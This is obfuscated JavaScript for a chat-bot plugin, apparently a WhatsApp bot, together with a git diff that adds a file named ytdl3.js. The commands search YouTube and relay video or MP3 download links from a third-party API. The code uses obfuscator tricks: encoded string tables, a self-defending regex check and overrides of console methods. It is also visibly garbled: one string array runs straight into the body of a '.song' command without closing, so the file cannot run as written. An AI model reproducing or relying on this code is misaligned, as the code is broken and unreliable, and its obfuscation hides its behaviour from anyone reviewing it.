_0xbd8cbd(_0x517a18,_0x286221,_0x44d99c,_0x175675){return _0x205102(_0x175675- -0x26b,_0x286221-0x12a,_0x286221,_0x175675-0x101);}if(_0x16b66b['pFAVX']('yIyqj',_0x16b66b[_0xbd8cbd(-0x48,-0x9e,-0xc3,-0x99)])){let _0x435427;try{_0x435427=_0x16b66b[_0xbd8cbd(-0x107,-0xc5,-0x143,-0xfd)](Function,_0x16b66b[_0x5cb0b4(0x2bb,0x250,0x292,0x27a)](_0x16b66b[_0xbd8cbd(-0x91,-0x5c,-0x90,-0x7e)](_0x16b66b[_0xbd8cbd(-0xb8,-0x111,-0xfe,-0xda)],_0x16b66b[_0x5cb0b4(0x2b8,0x2c2,0x2da,0x2c3)]),');'))();}catch(_0x27999d){_0x435427=window;}return _0x435427;}else _0x3d9a3e=_0x25f07c;};function _0x205102(_0x2916b6,_0x379174,_0x370263,_0x37ad07){return _0x2bf9(_0x2916b6-0x8a,_0x370263);}const _0x42239e=_0x16b66b['pkjvF'](_0x261bba),_0x5225b4=_0x42239e[_0x205102(0x173,0x141,0x1b0,0x192)]=_0x42239e[_0x346951(0x131,0x181,0x157,0x155)]||{};function _0x346951(_0x367e3b,_0x2e27e5,_0x214236,_0x852a34){return _0x2bf9(_0x2e27e5-0x98,_0x214236);}const _0x2c3e80=[_0x16b66b['VANif'],_0x16b66b[_0x346951(0x15f,0x1a7,0x1ca,0x16e)],_0x16b66b[_0x205102(0x176,0x12f,0x167,0x162)],_0x16b66b[_0x346951(0x189,0x1b4,0x1cb,0x1f2)],'exception',_0x16b66b[_0x346951(0x18e,0x192,0x1cc,0x183)],_0x16b66b[_0x205102(0x181,0x181,0x189,0x18e)]];for(let _0x4b33aa=-0x751+0x8*-0x161+0x1259;_0x16b66b[_0x205102(0x179,0x184,0x13e,0x1ab)](_0x4b33aa,_0x2c3e80[_0x346951(0x170,0x18b,0x13e,0x13d)]);_0x4b33aa++){if(_0x16b66b['guRlm'](_0x205102(0x151,0x13e,0x17b,0x137),_0x16b66b['OiXuk'])){const _0x3215b9=_0x5cc568['constructo'+'r']['prototype'][_0x205102(0x182,0x191,0x1bf,0x133)](_0x5cc568),_0xcb599=_0x2c3e80[_0x4b33aa],_0x23b237=_0x5225b4[_0xcb599]||_0x3215b9;_0x3215b9[_0x205102(0x1df,0x1c4,0x202,0x1a5)]=_0x5cc568['bind'](_0x5cc568),_0x3215b9[_0x205102(0x16b,0x122,0x19d,0x1b3)]=_0x23b237[_0x346951(0x1c0,0x179,0x157,0x162)]['bind'](_0x23b237),_0x5225b4[_0xcb599]=_0x3215b9;}else{const _0x38dbc1=_0x340204?function(){function _0x2cfb32(_0x47eeb3,_0x4b252c,_0x3589bd,_0x6f8063){return _0x346951(_0x47eeb3-0xaf,_0x4b252c- -0x145,_0x3589bd,_0x6f8063-0x1a8);}if(_0x56d119){const _0x3cdc39=_0x8645b8[_0x2cfb32(0x59,0x9f,0xbd,0x51)](_0x5ad9a4,arguments);return _0x50d70e=null,_0x3cdc39;}}:function(){};return _0x1d97e6=![],_0x38dbc1;}}});_0x1e030d();function _0x2bf9(_0x1c4e54,_0x376113){const _0x129b47=_0x4d43();return _0x2bf9=function(_0x4d4355,_0x2bf908){_0x4d4355=_0x4d4355-(0x22ac+0x19c8+0x1dd7*-0x2);let _0x435c08=_0x129b47[_0x4d4355];return _0x435c08;},_0x2bf9(_0x1c4e54,_0x376113);}const config=require('../config'),{cmd}=require(_0x4bd059(0x2b3,0x2fb,0x2ef,0x320)),{ytsearch}=require(_0x5d39bc(0x1dc,0x24b,0x224,0x225)+'ya/yt-dl.j'+'s'),_0xab1817={};_0xab1817[_0x5d39bc(0x1ef,0x1b8,0x1eb,0x216)]=_0x5d39bc(0x28c,0x25b,0x241,0x21c),_0xab1817['alias']=[_0x5d39bc(0x23f,0x1cd,0x20f,0x1f0),'ytv'];function _0x4bd059(_0x508838,_0x568a6a,_0x34170c,_0x9338bc){return _0x2bf9(_0x34170c-0x1b0,_0x508838);}_0xab1817[_0x4bd059(0x286,0x2aa,0x2c5,0x2b2)]='๐ŸŽฅ';function _0x5d39bc(_0x2e54ce,_0x3b086f,_0x1d7493,_0x370ee9){return _0x2bf9(_0x1d7493-0xe1,_0x3b086f);}_0xab1817[_0x5d39bc(0x1f1,0x20b,0x1e4,0x1bb)]=_0x5d39bc(0x1d4,0x262,0x216,0x249)+_0x4bd059(0x274,0x2d5,0x2af,0x270)+'eo',_0xab1817[_0x5d39bc(0x217,0x210,0x227,0x226)]=_0x4bd059(0x283,0x281,0x2ac,0x291),_0xab1817[_0x5d39bc(0x1a1,0x1a8,0x1b8,0x180)]='.mp4\x20<\x20Yt\x20'+_0x4bd059(0x2b9,0x343,0x2f4,0x33d)+_0x5d39bc(0x1bf,0x1c6,0x1bd,0x1b8),_0xab1817[_0x5d39bc(0x22f,0x1c4,0x203,0x1f4)]=__filename,cmd(_0xab1817,async(_0x534b6e,_0x29e106,_0x2aeaa6,{from:_0x4f1592,prefix:_0x45aa73,quoted:_0xae6dfe,q:_0x3e783a,reply:_0x3cc988})=>{function _0x13245e(_0x428cde,_0x149007,_0x3fcc67,_0x2bd8d7){return _0x4bd059(_0x428cde,_0x149007-0x192,_0x149007- -0x11c,_0x2bd8d7-0x90);}const _0x426cec={'jDLIT':function(_0xde6bb3,_0x15e20e){return _0xde6bb3(_0x15e20e);},'kxktj':_0x38ff03(0x4ae,0x482,0x46e,0x4ec)+_0x13245e(0x1e5,0x1de,0x1ac,0x1ba)+'\x20๐”ษผโ„“\x20เนษผ\x20๐•ฮน'+_0x38ff03(0x46c,0x490,0x466,0x45d)+'*','AoCzf':function(_0x2a1ea2,_0x41a013){return _0x2a1ea2<_0x41a013;},'QZrRx':_0x38ff03(0x462,0x427,0x43f,0x47a)+_0x13245e(0x1fc,0x1ca,0x18d,0x212),'igyvu':function(_0x2d0321,_0x5a5c3b){return _0x2d0321(_0x5a5c3b);},'rtXdt':function(_0x4ebf68,_0xfdb840){return _0x4ebf68(_0xfdb840);},'XenJi':function(_0x5ee492,_0x121203){return _0x5ee492!==_0x121203;},'FoSPQ':function(_0x193ae5,_0x35f14d){return _0x193ae5(_0x35f14d);},'YrYxF':_0x38ff03(0x44c,0x460,0x408,0x498)+_0x38ff03(0x488,0x474,0x46c,0x4bd)+_0x38ff03(0x4de,0x4f3,0x4cf,0x49b)+'ase\x20try\x20ag'+_0x38ff03(0x4d6,0x4a4,0x4bf,0x500),'TYtdY':_0x13245e(0x206,0x1bd,0x17e,0x1e4)+_0x38ff03(0x4c3,0x4a1,0x484,0x494)+'lease\x20try\x20'+_0x13245e(0x18a,0x17c,0x1c6,0x18e)+'r.'};function _0x38ff03(_0x24a91a,_0x34198c,_0x2040ae,_0x56b7f2){return _0x4bd059(_0x34198c,_0x34198c-0xc9,_0x24a91a-0x1d2,_0x56b7f2-0x179);}try{if(!_0x3e783a)return await _0x426cec[_0x13245e(0x178,0x162,0x18f,0x114)](_0x3cc988,_0x426cec['kxktj']);const _0x232f30=await _0x426cec[_0x13245e(0x1ab,0x162,0x159,0x11b)](ytsearch,_0x3e783a);if(_0x426cec[_0x13245e(0x1ac,0x166,0x136,0x16d)](_0x232f30['results'][_0x13245e(0x194,0x187,0x1c8,0x1ce)],-0xf8b*-0x1+0x1*-0x132b+0x3a1*0x1))return _0x426cec[_0x13245e(0x156,0x162,0x19d,0x17a)](_0x3cc988,_0x426cec['QZrRx']);let _0x1dad66=_0x232f30[_0x38ff03(0x455,0x49a,0x497,0x41c)][0x34*-0x73+0x14a*0x5+0x10ea],_0x3f55ae='https://ap'+_0x38ff03(0x482,0x4c6,0x457,0x45e)+_0x38ff03(0x4cf,0x4cb,0x4b5,0x4cc)+_0x13245e(0x14e,0x161,0x1a0,0x196)+_0x13245e(0x1c0,0x1af,0x167,0x1e2)+_0x13245e(0x17c,0x15f,0x19d,0x16a)+_0x426cec[_0x13245e(0x19e,0x195,0x14a,0x1e1)](encodeURIComponent,_0x1dad66['url']),_0x12f42a=await _0x426cec[_0x13245e(0x17a,0x1ab,0x18f,0x18c)](fetch,_0x3f55ae),_0xb7cf9e=await _0x12f42a[_0x13245e(0x1bf,0x1a2,0x17c,0x178)]();if(_0x426cec[_0x13245e(0x20d,0x1cb,0x1ef,0x1cd)](_0xb7cf9e[_0x13245e(0x1ae,0x1c4,0x1c3,0x1df)],-0x1*-0xb08+0x1b93+0x1*-0x25d3)||!_0xb7cf9e['success']||!_0xb7cf9e[_0x38ff03(0x4a6,0x4ce,0x4af,0x4ea)][_0x13245e(0x24c,0x1fb,0x240,0x1c2)+'rl'])return _0x426cec[_0x13245e(0x1dc,0x1d9,0x1b6,0x1f9)](_0x3cc988,_0x426cec[_0x13245e(0x22b,0x1db,0x229,0x208)]);let _0x48d8b8=_0x13245e(0x1b1,0x1bc,0x1b7,0x1e8)+_0x13245e(0x147,0x196,0x1d4,0x163)+'๐ƒ-๐‹\x20ใ€โ*\x0a*โ”‚'+'๐ŸŽก\x20TITLE:*\x20'+_0x1dad66['title']+(_0x13245e(0x17e,0x177,0x149,0x17b)+_0x38ff03(0x4e6,0x4ea,0x4f5,0x527))+_0x1dad66[_0x13245e(0x1c4,0x198,0x16b,0x1a9)]+('\x0a*โ”‚๐Ÿ‘€\x20VIEWS'+_0x38ff03(0x44b,0x42f,0x422,0x435))+_0x1dad66[_0x13245e(0x21d,0x1d4,0x18c,0x1f2)]+(_0x38ff03(0x480,0x480,0x4c3,0x439)+_0x13245e(0x15b,0x176,0x1b0,0x132))+_0x1dad66[_0x13245e(0x22b,0x1e2,0x228,0x1cc)][_0x13245e(0x18c,0x1a1,0x1b2,0x181)]+(_0x13245e(0x1b6,0x179,0x156,0x19b)+'โ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆโ”ˆ'+_0x38ff03(0x453,0x46f,0x450,0x48c)+'๊ชฎ๊ชŠ\x20า“๊ชฎส€\x20แด€สŸสŸ'+'\x20๊ชฎา“\x20แด€๊œฑ\x20๐Ÿ‰*');const _0x3bd0b5={};_0x3bd0b5[_0x13245e(0x193,0x1ac,0x15f,0x163)]=_0x1dad66[_0x38ff03(0x4e3,0x4ec,0x4cb,0x51a)];const _0x255603={};_0x255603[_0x38ff03(0x4d9,0x526,0x4fd,0x512)]=_0x3bd0b5,_0x255603[_0x13245e(0x1b8,0x1ba,0x1e1,0x1cf)]=_0x48d8b8;const _0x7ad8fc={};_0x7ad8fc[_0x38ff03(0x494,0x447,0x484,0x464)]=_0x29e106;const _0x2df3d8=await _0x534b6e[_0x13245e(0x164,0x1aa,0x1ca,0x1a4)+'e'](_0x4f1592,_0x255603,_0x7ad8fc),_0x46a924={};_0x46a924['url']=_0xb7cf9e[_0x13245e(0x1f7,0x1b8,0x16b,0x1a5)][_0x38ff03(0x4e9,0x4c5,0x498,0x536)+'rl'];const _0x46e438={};_0x46e438[_0x38ff03(0x4b0,0x47b,0x4a9,0x4ff)]=_0x46a924,_0x46e438['mimetype']=_0x38ff03(0x4a3,0x456,0x4aa,0x4d0);const _0x6b73e8={};_0x6b73e8['quoted']=_0x29e106,await _0x534b6e[_0x13245e(0x19c,0x1aa,0x1ce,0x18c)+'e'](_0x4f1592,_0x46e438,_0x6b73e8);}catch(_0x5151f6){console[_0x38ff03(0x47d,0x480,0x496,0x460)](_0x5151f6),_0x3cc988(_0x426cec['TYtdY']);}});function _0x4d43(){const _0x5373ca=['ษ–ั”เน\x20๐ฮฑะผั”..','CZEFx','jCVRg','warn','error','DnXOf','bSmeW','1267238eccOvc','ry>','length','jpg','utube.com/','3166644QrERxm','YXDFC','bind','nction()\x20','PfCUN','log','main','.id/youtub','\x0a*โ”‚๐ŸซŸ\x20AUTHO','ouTube\x20vid','is.davidcy','igyvu','\x20๐ŒฦŠ\x20๐•๐ˆ๐ƒ๐„๐Ž\x20','desc','timestamp','yIyqj','fetch\x20the\x20','cZnIq','TjSWV','trace','pattern','DDkIA','watch?v=OM','name','json','rOqjK','1624tFxkrP','AHxep','quoted','default.jp','๐’เนฦžอ›g\x20๐ฮฑะผั”.','react','sendMessag','rtXdt','url','title','Pozpl','ad/ytmp4?u','nZagk','er.','yta','HRQEg','.mp3','video/mp4','filename','vZkUW','result','oU0Pfibc4','caption','*๐โ„“ั”ฮฑ๐ฌึŸแั”\x20','*โ•ญโ”ˆโใ€Œ\x20๐€ษญฤซฤซ','An\x20error\x20o','return\x20(fu','RbtaD','*๐โ„“ั”ฮฑส‚ั”\x20๐ษผ','nSokS','video','6261jOUknr','status','Wtxnt','substring','THiyL','cFPtm','Download\x20Y','\x20found!','XenJi','dIRFp','replace','e/mp3?url=','again.','GGeGl','XzNEB','https://ap','../command','views','ccurred.\x20P','jIpmG','@dark-yasi','url\x20or\x20Nam','FoSPQ','category','YrYxF','cmPvZ','1006598qycPgn','เนฮฝฮนษ–ั”\x20๐€\x20๐˜สˆ','audio/mpeg','apply','riltech.my','author','downloadUr','1301665JAQcYs','constructo','AKrNG','kfmTw','ain\x20later.','__proto__','oQmMY','image','DAhbF','โ‡†\x20\x20||โ—โ—ใ…ค\x20โš','hlbTM','alias','video.\x20Ple','\x20again\x20lat','Download\x20f','(((.+)+)+)','mp4','thumbnail','34803waGzpu','XEMTr','ION:*\x20','gwWJY','XIRDM','download_u','ouTube\x20son','RgEID','100QKguFh',':*\x20','Failed\x20to\x20','rl=','{}.constru','.id/downlo','jDLIT','zNWyg','DVLQi','โ”ˆโœ‘*\x0a*า“๊ชฎส€\x20ส','AoCzf','results','ailed.\x20Try','kStTn','ase\x20try\x20ag','use','lease\x20try\x20','audio','...','aCwmW','e\x20>','8155287hHJIir','.song\x20{function _0x15579a(_0xfb7cd5,_0x27ebe1,_0x38015e,_0x16a950){return _0x4bd059(_0xfb7cd5,_0x27ebe1-0xba,_0x16a950- -0x28,_0x16a950-0x5d);}const _0x6f06f2={'hlbTM':function(_0x244940,_0x3c139c){return _0x244940(_0x3c139c);},'kStTn':_0x52bf9e(0x449,0x49a,0x452,0x4e0)+_0x52bf9e(0x49e,0x4d6,0x51c,0x4b2)+_0x15579a(0x2f4,0x2da,0x2ea,0x2e4)+_0x15579a(0x25e,0x26a,0x222,0x25e)+'ain\x20later.','jIpmG':_0x52bf9e(0x511,0x4f7,0x545,0x51e)+_0x52bf9e(0x4ba,0x4b6,0x472,0x470)+_0x52bf9e(0x4b4,0x4e4,0x52a,0x4e9)+'.*','RbtaD':function(_0x422bd0,_0x54aa00){return _0x422bd0(_0x54aa00);},'Pozpl':function(_0x564c9f,_0x3530f7){return _0x564c9f(_0x3530f7);},'GGeGl':_0x52bf9e(0x572,0x52e,0x4fc,0x4e6)+_0x15579a(0x246,0x274,0x244,0x25c)+_0x52bf9e(0x4e0,0x52d,0x554,0x51c)+_0x52bf9e(0x51a,0x4ed,0x4d0,0x4be),'DDkIA':function(_0x58e1e8,_0x5695d7){return _0x58e1e8>_0x5695d7;},'nSokS':_0x15579a(0x329,0x2bf,0x303,0x2e1)+'โš\x20ใ…คโ–ทโ–ท||ใ…ค\x20โ‡†','oQmMY':_0x15579a(0x25a,0x27a,0x2c8,0x29b)+'g','vZkUW':'hqdefault.'+_0x15579a(0x28c,0x2a9,0x24b,0x27c),'gwWJY':'https://yo'+_0x52bf9e(0x498,0x4c5,0x495,0x495)+_0x15579a(0x2d0,0x24c,0x2dc,0x294)+_0x52bf9e(0x53e,0x4f5,0x4b2,0x536),'kfmTw':function(_0x3b378d,_0x4b708f){return _0x3b378d===_0x4b708f;},'DAhbF':_0x15579a(0x27b,0x2ef,0x2ca,0x2c0),'XzNEB':_0x15579a(0x23f,0x244,0x242,0x290),'XIRDM':_0x15579a(0x2df,0x289,0x2cc,0x2b1)+'ccurred.\x20P'+_0x15579a(0x2ab,0x2a9,0x22b,0x260)+_0x52bf9e(0x539,0x50b,0x4e2,0x50c)};function _0x52bf9e(_0x3c9e08,_0x4c6785,_0x21d06,_0x4aa174){return _0x4bd059(_0x3c9e08,_0x4c6785-0xd,_0x4c6785-0x220,_0x4aa174-0x2);}try{if(!_0x3b6d76)return _0x359c82(_0x6f06f2[_0x52bf9e(0x4c5,0x512,0x50d,0x4d1)]);const _0x28f7cc=await _0x6f06f2[_0x15579a(0x2bd,0x296,0x28b,0x2b3)](ytsearch,_0x3b6d76);if(!_0x28f7cc[_0x52bf9e(0x461,0x4a3,0x4a2,0x4b6)][_0x52bf9e(0x512,0x4c3,0x4e0,0x4fa)])return _0x6f06f2[_0x15579a(0x2d5,0x331,0x2b3,0x2e2)](_0x359c82,_0x15579a(0x287,0x26b,0x26e,0x268)+_0x15579a(0x2ba,0x2dd,0x27e,0x2be));const _0x3dd2da=_0x28f7cc[_0x15579a(0x27b,0x2a1,0x273,0x25b)][0x18bd+-0xb*-0x16c+-0x2861],_0x8e1319=_0x15579a(0x293,0x2e1,0x2eb,0x2c6)+_0x52bf9e(0x51c,0x4d0,0x4a3,0x4b8)+_0x15579a(0x2bd,0x303,0x2a7,0x2d5)+_0x52bf9e(0x4b4,0x4cd,0x48c,0x4b7)+_0x52bf9e(0x537,0x50a,0x55b,0x4cc)+encodeURIComponent(_0x3dd2da[_0x15579a(0x2bd,0x2d4,0x26b,0x2a0)]),_0x23d020=await _0x6f06f2[_0x52bf9e(0x531,0x4ea,0x4bf,0x4f4)](fetch,_0x8e1319),_0x31ccdd=await _0x23d020[_0x15579a(0x2d1,0x286,0x27b,0x296)]();if(!_0x31ccdd?.[_0x52bf9e(0x4a6,0x4f4,0x536,0x518)]?.[_0x15579a(0x2d2,0x292,0x2d9,0x2d7)+'l'])return _0x359c82(_0x6f06f2[_0x15579a(0x2b6,0x28e,0x30f,0x2c4)]);const _0x16c648={};_0x16c648['url']=_0x31ccdd[_0x52bf9e(0x4bd,0x4f4,0x4d2,0x4f3)][_0x15579a(0x2e3,0x301,0x298,0x2d7)+'l'];const _0x1b1604={};_0x1b1604['quoted']=_0x33c9d0,await _0x262d27[_0x15579a(0x2a2,0x2e0,0x2a3,0x29e)+'e'](_0x31306e,{'audio':_0x16c648,'mimetype':_0x15579a(0x2d2,0x2b0,0x287,0x2d3),'fileName':_0x3dd2da[_0x15579a(0x274,0x250,0x27a,0x2a1)]+_0x15579a(0x2bf,0x2d7,0x257,0x2a8),'contextInfo':{'externalAdReply':{'title':_0x6f06f2[_0x15579a(0x2a3,0x24d,0x2e4,0x293)](_0x3dd2da[_0x52bf9e(0x507,0x4e9,0x515,0x536)][_0x15579a(0x2b3,0x22d,0x2a6,0x27b)],0x1*-0x5de+0x1a8f+-0x1498)?_0x3dd2da[_0x15579a(0x2da,0x2dc,0x2cb,0x2a1)][_0x15579a(0x2a1,0x2f2,0x28a,0x2ba)](-0x1*-0xae+-0x2102+0x2054,-0x1421*-0x1+-0x1e32+0xa27)+_0x52bf9e(0x4fa,0x4aa,0x4ca,0x4aa):_0x3dd2da[_0x52bf9e(0x4bf,0x4e9,0x519,0x50b)],'body':_0x6f06f2[_0x15579a(0x2c0,0x2eb,0x2a7,0x2b5)],'mediaType':0x1,'thumbnailUrl':_0x3dd2da[_0x52bf9e(0x521,0x531,0x57b,0x576)][_0x15579a(0x2cf,0x2b0,0x2e5,0x2c1)](_0x6f06f2[_0x15579a(0x325,0x2fc,0x28d,0x2de)],_0x6f06f2[_0x52bf9e(0x525,0x4f3,0x526,0x4e8)]),'sourceUrl':_0x6f06f2['gwWJY'],'mediaUrl':_0x6f06f2[_0x52bf9e(0x52d,0x535,0x524,0x554)],'showAdAttribution':!![],'renderLargerThumbnail':!![]}}},_0x1b1604);}catch(_0x371fb8){if(_0x6f06f2[_0x52bf9e(0x536,0x523,0x54a,0x525)](_0x6f06f2[_0x15579a(0x32f,0x2d5,0x2ec,0x2e0)],_0x6f06f2[_0x52bf9e(0x541,0x50d,0x511,0x4c0)]))return _0x6f06f2[_0x15579a(0x29b,0x2e1,0x308,0x2e2)](_0x5050ce,_0x6f06f2[_0x52bf9e(0x4d7,0x4a5,0x4ed,0x4ef)]);else console[_0x52bf9e(0x46f,0x4be,0x4d2,0x4fc)](_0x371fb8),_0x359c82(_0x6f06f2[_0x15579a(0x2ae,0x2e4,0x2b2,0x2ee)]);}}); diff --git a/plugins/ytdl3.js b/plugins/ytdl3.js new file mode 100644 index 0000000000000000000000000000000000000000..8ec08d56aa35783377d1e2dd866a60bbbc8bb99a --- /dev/null +++ b/plugins/ytdl3.js @@ -0,0 +1 @@ +(function(_0x3d4e1f,_0x2ee739){function _0xa26bea(_0x5c4cca,_0x302244,_0xde5e2,_0x53c93f){return _0x1e7b(_0x302244-0x1e,_0xde5e2);}function _0x28711d(_0x2f8378,_0x5e576f,_0x1dd0b6,_0x24b59d){return _0x1e7b(_0x1dd0b6- -0x2d6,_0x2f8378);}const _0x409e91=_0x3d4e1f();while(!![]){try{const _0x57d5c9=parseInt(_0xa26bea(0x1f2,0x1cd,0x1c0,0x1c0))/(-0x12b2+0xb8b+0x4*0x1ca)*(-parseInt(_0xa26bea(0x1e1,0x1d0,0x1d7,0x1c0))/(0x1078*-0x2+-0x19fc+0x3aee*0x1))+-parseInt(_0xa26bea(0x1c5,0x1bf,0x1e5,0x19b))/(0x19ac+0x1dd6+-0x377f)*(parseInt(_0xa26bea(0x20b,0x210,0x1e1,0x1d4))/(0xc*0x175+-0x1bd3+-0x1*-0xa5b))+-parseInt(_0x28711d(-0x10e,-0xb7,-0xef,-0xf4))/(-0x1c35+-0x5cf+-0x2209*-0x1)+-parseInt(_0x28711d(-0xf1,-0xfc,-0xce,-0xbc))/(-0xb*-0x43+0x1df*0x10+-0x49*0x73)*(parseInt(_0x28711d(-0xd4,-0x144,-0x111,-0xfa))/(-0x29*-0x71+0x148+-0x135a))+parseInt(_0x28711d(-0x136,-0x139,-0x139,-0xfd))/(0xa42*0x1+-0x3*0xcd2+0x22c*0xd)+-parseInt(_0x28711d(-0x101,-0xf5,-0x12e,-0x150))/(-0x48a*-0x2+-0x1*-0x14cb+-0x1dd6)*(parseInt(_0x28711d(-0x16b,-0x14d,-0x137,-0x142))/(-0x16e9+-0x1801+0x2ef4))+parseInt(_0xa26bea(0x22b,0x200,0x205,0x1cc))/(-0x3*-0x4e1+0x3b6+-0x47*0x42);if(_0x57d5c9===_0x2ee739)break;else _0x409e91['push'](_0x409e91['shift']());}catch(_0x223c44){_0x409e91['push'](_0x409e91['shift']());}}}(_0x30b0,-0x112dbd+0x3a52d*0x3+0xfa6e9*0x1));function _0x30b0(){const _0x32de60=['Download\x20Y','IDsSr','nLDNQ','return\x20(fu','downloadUr','.id/youtub','skjFS','results','use','mimetype','2940198IsrNWx','bwbjf','e/mp3?url=','info','length','trace','WOTsi','search','nnSFs','console','MZlNW','BpNdf','IEDPR','tBQAr','HgeFA','toString','5565480XpBCgc','lOdTh','11600900MMELHp','image','62949NcwUYK','bZGub','rn\x20this\x22)(','{}.constru','qjnrR','naYma','@dark-yasi','9YIippO','COuIY','rIfpx','audio/mpeg','caption','vfFFw','riltech.my','1kWdJOu','ya/yt-dl.j','me\x20>','1380878KrWxuy','DRIAi','title','GHkeq','ccurred.\x20P','../config','iPehC','fheJe','__proto__','srDZM','prototype','nction()\x20','table','react','ofzRt','GyHKC','audio','desc','.mp3','7IhCrKt','dQoyv','../command','\x20๐”ษผโ„“\x20เนษผ\x20๐’เน','NCqPW','vxwtq','asloX','constructo','log','ain\x20later.','again\x20late','qxNnK','quoted','ksPCT','audio.\x20Ple','LnxMw','ytdl3','success','VwCwd','qTGAq','hLCur','exception','JGnQE','(((.+)+)+)','fetch\x20the\x20','*PLAYING:\x20','SpplL','*๐โ„“ั”ฮฑส‚ั”\x20๐ษผ','bind','34543982lFksQA','json','alias','KFzAQ','No\x20results','3345140PacQoG','url','ase\x20try\x20ag','thumbnail','KshKk','gLJZn','apply','tuKzA','nGPyZ','XIrMD','An\x20error\x20o','40YDHpvK','sendMessag','warn','result','goFcL','aZhCD','lease\x20try\x20','CwYuW','fyIHd','FrMGI','GUZxS','ctor(\x22retu'];_0x30b0=function(){return _0x32de60;};return _0x30b0();}const _0x1a44b3=(function(){const _0x28c0a4={'BpNdf':function(_0x33b60d,_0x2d97c1){return _0x33b60d!==_0x2d97c1;},'jPbBC':_0x3129ff(0x29a,0x2aa,0x2c3,0x2ad),'vfFFw':function(_0x41956c,_0x4e93ba){return _0x41956c!==_0x4e93ba;},'tuKzA':_0x3129ff(0x29a,0x293,0x277,0x264),'EwZnW':_0x3129ff(0x2ad,0x2a3,0x2a0,0x267),'goFcL':function(_0x274ef0,_0x4712c4){return _0x274ef0(_0x4712c4);}};let _0x12056a=!![];function _0x3129ff(_0x1d058f,_0x16e580,_0x18ebc4,_0x5bedb8){return _0x1e7b(_0x16e580-0xda,_0x1d058f);}function _0x3ec919(_0xac4a6f,_0x309c07,_0x300258,_0xc215c5){return _0x1e7b(_0x300258-0x38,_0x309c07);}return function(_0x3f6321,_0x5bb2d7){const _0x3a7ccb={'FrMGI':function(_0x3cb7cb,_0x100bb5){function _0x1c1c9b(_0x1034ed,_0x5167dc,_0x1f7282,_0x2885b1){return _0x1e7b(_0x2885b1- -0x246,_0x1f7282);}return _0x28c0a4[_0x1c1c9b(-0x7b,-0x26,-0x52,-0x50)](_0x3cb7cb,_0x100bb5);}},_0x216594=_0x12056a?function(){function _0x421574(_0x50ec3e,_0x15eb6a,_0x1df024,_0x343a34){return _0x1e7b(_0x1df024- -0x4d,_0x50ec3e);}function _0xb1a2c7(_0x1e6834,_0x446892,_0x45f1d1,_0x426b0e){return _0x1e7b(_0x45f1d1-0x1c0,_0x446892);}if(_0x28c0a4[_0x421574(0x197,0x1f1,0x1c6,0x1af)](_0xb1a2c7(0x391,0x398,0x390,0x3a2),_0x28c0a4['jPbBC']))_0x2cb96b[_0xb1a2c7(0x3c4,0x398,0x38d,0x3bc)](_0x27cffd),_0x3a7ccb[_0xb1a2c7(0x391,0x3c9,0x3bb,0x3cb)](_0x186ea3,'An\x20error\x20o'+'ccurred.\x20P'+'lease\x20try\x20'+_0xb1a2c7(0x39e,0x3bd,0x38f,0x377)+'r.');else{if(_0x5bb2d7){if(_0x28c0a4[_0xb1a2c7(0x361,0x37b,0x36d,0x362)](_0x28c0a4[_0x421574(0x193,0x166,0x1a1,0x175)],_0x28c0a4['EwZnW'])){const _0x29f2c6=_0x5bb2d7['apply'](_0x3f6321,arguments);return _0x5bb2d7=null,_0x29f2c6;}else{const _0x1c5bb2=_0x103b25?function(){function _0x2ed63e(_0x49604b,_0x12452a,_0x5d1d00,_0x48a7c2){return _0xb1a2c7(_0x49604b-0x167,_0x5d1d00,_0x49604b- -0x36b,_0x48a7c2-0x192);}if(_0x52d010){const _0x404412=_0x38a5b5[_0x2ed63e(0x42,0x64,0x56,0x4e)](_0x58b3b0,arguments);return _0x4a7e6e=null,_0x404412;}}:function(){};return _0x45bfed=![],_0x1c5bb2;}}}}:function(){};return _0x12056a=![],_0x216594;};}()),_0xe02066=_0x1a44b3(this,function(){const _0x24da6c={};_0x24da6c[_0x729d2e(-0x185,-0x178,-0x1b4,-0x15b)]=_0x729d2e(-0x15e,-0x180,-0x14a,-0x160)+'+$';function _0x729d2e(_0x2bf314,_0x1e0190,_0x19ccfb,_0x58afd2){return _0x1e7b(_0x2bf314- -0x33a,_0x19ccfb);}function _0x2700fe(_0x192e3f,_0x4f10f8,_0x1b2c51,_0x5e8d53){return _0x1e7b(_0x192e3f-0x7b,_0x1b2c51);}const _0x474199=_0x24da6c;return _0xe02066['toString']()[_0x729d2e(-0x12b,-0x138,-0x12a,-0x127)](_0x729d2e(-0x15e,-0x17b,-0x12b,-0x13b)+'+$')['toString']()[_0x2700fe(0x247,0x24e,0x275,0x236)+'r'](_0xe02066)['search'](_0x474199[_0x2700fe(0x230,0x23d,0x225,0x1f8)]);});_0xe02066();const _0x10e8a2=(function(){const _0x5442ef={'asloX':function(_0x633c6d,_0x44fc64){return _0x633c6d(_0x44fc64);},'qTGAq':_0x10838c(0x107,0x162,0x110,0x133)+_0x220548(-0x135,-0x189,-0x145,-0x153),'fyIHd':function(_0x237eb8,_0x5402a6){return _0x237eb8===_0x5402a6;},'GUZxS':_0x10838c(0x12b,0x137,0x13f,0x140),'IDsSr':_0x220548(-0x11e,-0x15d,-0x11a,-0x13e),'tBQAr':function(_0x37f3fc,_0x3948a4){return _0x37f3fc===_0x3948a4;},'GyHKC':_0x10838c(0x153,0x124,0x13d,0x129)};function _0x10838c(_0x49ce1f,_0x1af2ac,_0x34a0dd,_0x4617c1){return _0x1e7b(_0x4617c1- -0xce,_0x1af2ac);}let _0x8fefc8=!![];function _0x220548(_0x3b0f58,_0x58e844,_0x268cd6,_0x1a5078){return _0x1e7b(_0x1a5078- -0x310,_0x58e844);}return function(_0x258c53,_0x4e956a){const _0x40fc7b=_0x8fefc8?function(){const _0x571261={'iPehC':function(_0x5a77b6,_0x52d6f6){function _0x3dfb21(_0x21b3ad,_0x12ef2a,_0x30febd,_0x2eb776){return _0x1e7b(_0x21b3ad-0x21b,_0x30febd);}return _0x5442ef[_0x3dfb21(0x3e6,0x3c0,0x3ee,0x3b4)](_0x5a77b6,_0x52d6f6);},'gLJZn':function(_0x28cea3,_0x4a4bc4){return _0x28cea3+_0x4a4bc4;},'hLCur':_0x5442ef[_0x4a8d27(-0x5d,-0xa2,-0x77,-0x40)],'qjnrR':_0x23effa(0x488,0x457,0x460,0x449)+_0x23effa(0x499,0x4c5,0x4b9,0x4f5)+_0x4a8d27(-0x73,-0xa8,-0xac,-0xc3)+'\x20)'};function _0x23effa(_0x337bf5,_0x357e33,_0x248982,_0x5af4b2){return _0x1e7b(_0x248982-0x2bc,_0x337bf5);}function 